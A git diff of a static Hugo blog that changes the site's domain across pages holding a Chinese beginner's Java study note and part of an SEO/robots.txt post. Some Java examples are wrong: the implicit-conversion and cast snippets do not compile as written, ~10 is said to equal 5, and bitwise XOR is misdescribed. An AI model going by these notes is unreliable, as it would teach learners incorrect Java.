href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>JAVA基础学习笔记</h1><div class=post-meta><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/java%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成</p><p>java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行</p><p>java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑</p><p>java分为Java SE、Java EE 和 Java ME。</p><p>类的命名：必须是英文开头，后可字母，数字和下划线</p><p>一般为大写字母开头</p><p>例如：</p><p>public class Abc</p><p>public是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行</p><p>在class内部可以定义方法，例如:</p><p>public static void main(String[] args){}</p><p>这个例子的方法名为main，返回值为void，表示没有返回值，空</p><p>static是一个关键字，同样也是修饰符，表示静态方法</p><p>java入口程序必须是静态方法，方法名也必须为main，参数必须为String数组</p><p>在方法内部，语句才能执行，每一行程序都必须要以分号结束;</p><p>// 单行注释</p><p>/*</p><p>多行注释</p><p>*/</p><p>/**
-*</p><ul><li>一样是多行注释
-*
-*/</li></ul><p>java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量
+整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JAVA基础学习笔记","item":"https://chenjunlinabc.github.io/posts/19/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JAVA基础学习笔记","name":"JAVA基础学习笔记","description":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 */\njava的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;","keywords":["java"],"articleBody":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 */\njava的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;\n因为java的整型是有符号类型的，0表示正数，1表示为负数，所以取值范围是从负多少到正多少，不能超过取值范围\n整数的值的表示支持二进制，八进制，十进制，十六进制\nbyte：-128 ~ 127 长度8位 short: -32768 ~ 32767 长度16位 int: -2147483648 ~ 2147483647 长度32位 long: -9223372036854775808 ~ 9223372036854775807 长度64位\n浮点型\n浮点型类型：float（长度32位），double（长度64位）\n浮点型默认为double，在数值后加F，代表为float类型，例如：float abc = 3.14F;\n浮点型支持科学计数法（E或者e），e2就是代表为10的2次方，例如：3.14e2 = 3.14x100\nfloat：3.4E-038 ~ 3.4E+038 double：1.7E-308 ~ 1.7E+308\n浮点类型的数就是小数\n小数值默认位double类型\n如果想将一个小数类型设置为float类型，需要在小数后加f，例如：float abc = 3.14 f\nfloat（单精度）精度是7位有效数字，第7位数字后面的会四舍五入\nfloat a = 0.987654321f; // 实质上为0.9876543 ，2和1被四舍五入了，使用float类型，要在后面加上f\ndouble（双精度）精度是16位有效数字\n在计算机中，使用符号位（sign）+指数（exponent）+小数位（fraction），来表示浮点数（浮点表示法）\n符号位表示正负，指数表示取值范围，小数位表示计算精度\n例如： float类型为32位，符号位占1位，指数位占8位，小数位占23位，小数位不足位数的补0\ndouble类型为64位，符号位占1位，指数占11为，小数位占52位，小数位不足位数的补0\n布尔类型\njava布尔类型和很多程序语言一样，用来表示真与假，布尔类型只有两个值，true和false，长度为1位\n可以赋值变量为布尔类型，也可以通过关系运算来返回\n例如：\nboolean a = true;\nboolean b = 1\u003e2;\n字符类型\n字符类型char表示一个字符，char类型不但可以表示标准的ASCII，还可以表示一个Unicode字符\nchar类型使用单引号’‘来表示，而且只能存储一个字符，长度为16位\n字符串\n字符串类型String是一个引用类型，例如：\nString a = “abc”;\n引用类型的变量是类似于c语言的指针，内部保存了一个地址，指向某一个对象在内存的位置\n\\代表为转义符，例如：\\n\n类型转换\n精度小的类型可以自动转换为精度大的类型 精度大的类型，需要强制转换，才能转换到精度小的类型，而且还可能溢出\n例如：\n自动转换\nint a= 100;\nlong b;\na =b;\n强制转换\nint a = 999;\nbyte a = (byte)b;\n因为byte类型取值范围为：-128 ~ 127，999超过了byte类型的取值范围\n如果一个变量在类下声明，那么这个变量整个类都可以访问，其作用域就在其声明的那个类中，覆盖整个类\n当一个变量在一个方法内部被定义，那么这个变量只能作用于该方法内部，这也叫为局部变量，方法一执行结束，该变量就被销毁\n常量\n使用final修饰符定义常量，例如\nfinal int a = 123;\n常量在定义时初始化后就不能重新赋值了，常量的命名习惯为全部大写\nvar 关键字\nvar关键字会自动推断变量的类型，使用var定义变量只是少写了变量类型，例如\nvar a = 123;\n运算\n整数的运算，是精确的，因为只取结果的整数部分\n溢出：指一个数超过数据类型的取值范围了，只要这个数超出了取值范围，那么就会产生溢出，溢出不会报错，会返回一个数，这个数会通过二进制运算来处理\n+=，-=，*=，/=\n例如： a+=2 // 相当于 a = a + 2\n++和–运算\na++ // 相当于 a = a + 1 a– // 相当于 a = a - 1\na++和++a\n++a ，表示先加1，再引用a，a++，表示引用a，再加1\n\u003e大于，\u003e=大于或等于，\u003c小于，\u003c=小于或等于，==是否相等，!=是否不相等\n\u0026：与，当俩边都为真时，为真，两边的表达式都处理 \u0026\u0026：与，当俩边都为真时，为真，只要第一个表达式的值为假，第二个就不进行处理 |：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，两边的表达式都处理 ||：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，只要第一个表达式的值为真，第二个就不进行处理 !：取反，当表达式的值为真时，返回假，表达式的值为假时，返回真 ^：异或，表达式的值不同时，返回真，相同时返回假\n移位运算\n因为在计算机中整数是以二进制表示的，所以可以通过移位运算\nInteger.toBinaryString() 方法可以将十进制转换为二进制，例如：\nint a =10; String b = (Integer.toBinaryString(a));\nb的值为1010\n例如：\nint abc = 100;\nint a = abc « 3; // 向左移动3位 a = 800\nint b = abc » 3; // 向右移动3位，b = 12\nint c = -1 »\u003e 2; // 无符号向右移，c = 1073741823\n位或|：当对应的二进位中，有一个为1时，结果为1，例如\n1|2 ： 1的二进制为1，2的二进制为10，那么得到的二进制结果为11，转换为十进制为3\n位与\u0026：当对应的二进位中，俩边都为1时，结果为1，例如\n1\u00262 ：二进制结果为10，十进制结果为2\n异或^：当对应的二进位中，两边的值都不为1时，结果为1，例如：\n1^2：二进制结果为01，十进制结果为1\n取非~：将二进制位倒反，将0改为1，将1改为0，例如：\nint a = 10 // 10的二进制为1010\n~a // 值为0101，十进制结果为5\n= ：赋值 += ： 自加，例如i+=1，那么等于i=i+1 -=：自减，例如i-=1，那么等于i=i-1 还有%=，\u0026=，/=，|=，^=，«=，»=，»\u003e=都是类似的\n三元操作符\n基础语法为：\na=x\u003ec?值1:值2\n用if语句来看就等于:\nif(x\u003ec){ a=值1 }else{ a=值2 }\nif判断\n根据条件来执行或者不执行某段语句，基本语法例如：\nif（条件）{ // 当条件满足时执行的语句 }else{ // 当条件不满足时执行的语句 }\n例如： if(a\u003e=100){ System.out.println(“a大于或者等于100”); }else{ System.out.println(“a不大于或者等于100”); }\nswitch判断\n根据表达式的结果来执行相对应的语句，例如：\nswitch(a){ case 1: System.out.println(“a等于1”); break; case 2: System.out.println(“a等于2”); break; default: System.out.println(“不知道a等于多少”); }\nswitch也可以匹配字符串\nwhile循环\n循环就是根据条件进行循环处理，当条件满足时循环处理，当条件不满足时退出循环\n例如：\nwhile (a\u003e=100){ System.out.println(a); a++; } while循环是先判断后循环处理，当初始条件不满足时，那么一次循环都不会发生\ndo…while就是先执行再判断条件，例如：\ndo{ System.out.println(a); a++; }while (a\u003e=100);\n先执行do里面的语句，再判断条件是否满足，所以do…while最低也会执行一次，哪怕初始条件也是不满足的\nfor循环\nfor和while不一样，它是使用计数器（自增或者自减）来实现循环，例如：\nfor (int a=1;a\u003c=100;a++){ system.out.println(a); }\nfor可以用于数组遍历\nbreak语句用于退出当前循环\ncontinue语句用于提前结束本次循环，直接执行下次循环\n例如：\nfor (int a=1;a\u003c=100;a++){ system.out.println(a); if(a==2){ break; } if(a==3){ continue; }\n数组\n数组的定义及遍历\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i=0;i","wordCount":"793","inLanguage":"en","datePublished":"2021-06-16T09:35:00Z","dateModified":"2021-06-16T09:35:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/19/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>JAVA基础学习笔记</h1><div class=post-meta><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/java%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成</p><p>java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行</p><p>java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑</p><p>java分为Java SE、Java EE 和 Java ME。</p><p>类的命名：必须是英文开头，后可字母，数字和下划线</p><p>一般为大写字母开头</p><p>例如：</p><p>public class Abc</p><p>public是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行</p><p>在class内部可以定义方法，例如:</p><p>public static void main(String[] args){}</p><p>这个例子的方法名为main，返回值为void，表示没有返回值，空</p><p>static是一个关键字，同样也是修饰符，表示静态方法</p><p>java入口程序必须是静态方法，方法名也必须为main，参数必须为String数组</p><p>在方法内部，语句才能执行，每一行程序都必须要以分号结束;</p><p>// 单行注释</p><p>/*</p><p>多行注释</p><p>*/</p><p>/**
+*</p><ul><li>一样是多行注释</li><li></li></ul><p>*/</p><p>java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量
 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）</p><p>变量必须先定义，后赋值使用，例如：</p><p>int a = 1;</p><p>定义为int整数类型，名称为a，初始值为1</p><p>变量的特点就是可以重新赋值</p><p>int i = 1; // 定义int类型，名称为i，赋值为1</p><p>i = 100; // 重新赋值为100</p><p>int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i</p><p>整型</p><p>整型类型：int，byte，short，long</p><p>整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;</p><p>因为java的整型是有符号类型的，0表示正数，1表示为负数，所以取值范围是从负多少到正多少，不能超过取值范围</p><p>整数的值的表示支持二进制，八进制，十进制，十六进制</p><p>byte：-128 ~ 127 长度8位
 short: -32768 ~ 32767 长度16位
 int: -2147483648 ~ 2147483647 长度32位
@@ -258,8 +259,8 @@
         Untitled.name();
     }
 }
-</code></pre><p>可以通过main.name()或者UntUntitled.name()来调用类方法</p><p>如果在一个方法中调用了对象属性，那么使用实例方法，如果在一个方法中没有调用任何对象属性，那么使用类方法</p><hr><p>java输出中文乱码，可能是javac读取java文件使用的字符集错误</p><p>javac -encoding utf-8 *.java</p><hr><p>java已放弃学习，主打golang和Python了（java又臭又长，快来加入golang教吧）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/java/>java</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/21/><span class=title>« Prev</span><br><span>jQuery基础学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/18/><span class=title>Next »</span><br><span>Docker容器的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>可以通过main.name()或者UntUntitled.name()来调用类方法</p><p>如果在一个方法中调用了对象属性，那么使用实例方法，如果在一个方法中没有调用任何对象属性，那么使用类方法</p><hr><p>java输出中文乱码，可能是javac读取java文件使用的字符集错误</p><p>javac -encoding utf-8 *.java</p><hr><p>java已放弃学习，主打golang和Python了（java又臭又长，快来加入golang教吧）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/java/>java</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/21/><span class=title>« Prev</span><br><span>jQuery基础学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/18/><span class=title>Next »</span><br><span>Docker容器的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/2/index.html b/posts/2/index.html
index 598b803e..194f940d 100644
--- a/posts/2/index.html
+++ b/posts/2/index.html
@@ -23,8 +23,8 @@
 注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接
 尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容
 重要信息请勿使用js输出，爬虫不会抓取js的内容
-给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解SEO"><meta property="og:description" content="SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
+给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解SEO"><meta property="og:description" content="SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
 允许指定蜘蛛获取，*为通配符
@@ -49,7 +49,7 @@
 注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接
 尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容
 重要信息请勿使用js输出，爬虫不会抓取js的内容
-给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/2/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-03-20T11:50:00+00:00"><meta property="article:modified_time" content="2021-03-20T11:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解SEO"><meta name=twitter:description content="SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
+给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/2/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-03-20T11:50:00+00:00"><meta property="article:modified_time" content="2021-03-20T11:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解SEO"><meta name=twitter:description content="SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
 允许指定蜘蛛获取，*为通配符
@@ -74,8 +74,8 @@
 注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接
 尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容
 重要信息请勿使用js输出，爬虫不会抓取js的内容
-给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解SEO","item":"https://xiaochenabc123.github.io/posts/2/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解SEO","name":"简单了解SEO","description":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: 